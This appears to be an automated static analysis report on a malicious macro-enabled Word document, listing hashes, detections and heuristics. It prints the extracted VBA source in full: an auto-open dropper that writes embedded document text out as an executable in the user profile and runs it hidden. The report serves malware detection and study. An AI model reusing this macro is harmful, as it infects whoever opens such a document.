Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 9b756fc46402656b…

MALICIOUS

Office (OOXML) / .DOCX

18.0 KB Created: 2026-03-29 08:48:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2026-06-10
MD5: 82ca838c7cd9cd52efb8ac5710837d71 SHA-1: 1d0650b134c4565217db390fbc8ba008dc7f91f1 SHA-256: 9b756fc46402656bf8313e6e44ecbb1f0e93d0f5f77919dbb64074dab0676a67
274 Risk Score

Heuristics 9

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Rcphu7 = Shell(Rcphu10, vbHide)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        Rcphu2 = Environ("USERPROFILE")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1716 bytes
SHA-256: 960f15993bf6882c5d0913edeafae98542f886ac34d3a4a1d41449087451eb8b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub Auto_Open()
    Rcphu12
End Sub

Sub Rcphu12()
    Dim Rcphu7 As Integer
    Dim Rcphu1 As String
    Dim Rcphu2 As String
    Dim Rcphu3 As Integer
    Dim Rcphu4 As Paragraph
    Dim Rcphu8 As Integer
    Dim Rcphu9 As Boolean
    Dim Rcphu5 As Integer
    Dim Rcphu11 As String
    Dim Rcphu6 As Byte
    Dim Sxmzhrjkhu As String
    Sxmzhrjkhu = "Sxmzhrjkhu"
    Rcphu1 = "NVrPRimzkvee.exe"
    Rcphu2 = Environ("USERPROFILE")
    ChDrive (Rcphu2)
    ChDir (Rcphu2)
    Rcphu3 = FreeFile()
    Open Rcphu1 For Binary As Rcphu3
    For Each Rcphu4 In ActiveDocument.Paragraphs
        DoEvents
            Rcphu11 = Rcphu4.Range.Text
        If (Rcphu9 = True) Then
            Rcphu8 = 1
            While (Rcphu8 < Len(Rcphu11))
                Rcphu6 = Mid(Rcphu11, Rcphu8, 4)
                Put #Rcphu3, , Rcphu6
                Rcphu8 = Rcphu8 + 4
            Wend
        ElseIf (InStr(1, Rcphu11, Sxmzhrjkhu) > 0 And Len(Rcphu11) > 0) Then
            Rcphu9 = True
        End If
    Next
    Close #Rcphu3
    Rcphu13 (Rcphu1)
End Sub

Sub Rcphu13(Rcphu10 As String)
    Dim Rcphu7 As Integer
    Dim Rcphu2 As String
    Rcphu2 = Environ("USERPROFILE")
    ChDrive (Rcphu2)
    ChDir (Rcphu2)
    Rcphu7 = Shell(Rcphu10, vbHide)
End Sub

Sub AutoOpen()
    Auto_Open
End Sub

Sub Workbook_Open()
    Auto_Open
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 96a51d4bd393e156a04a237bb1e83fe2bb330ac91d8019ac237d2d4862d603df
Detection
ClamAV: Doc.Downloader.Generic-6698421-0
Obfuscation or payload: unlikely

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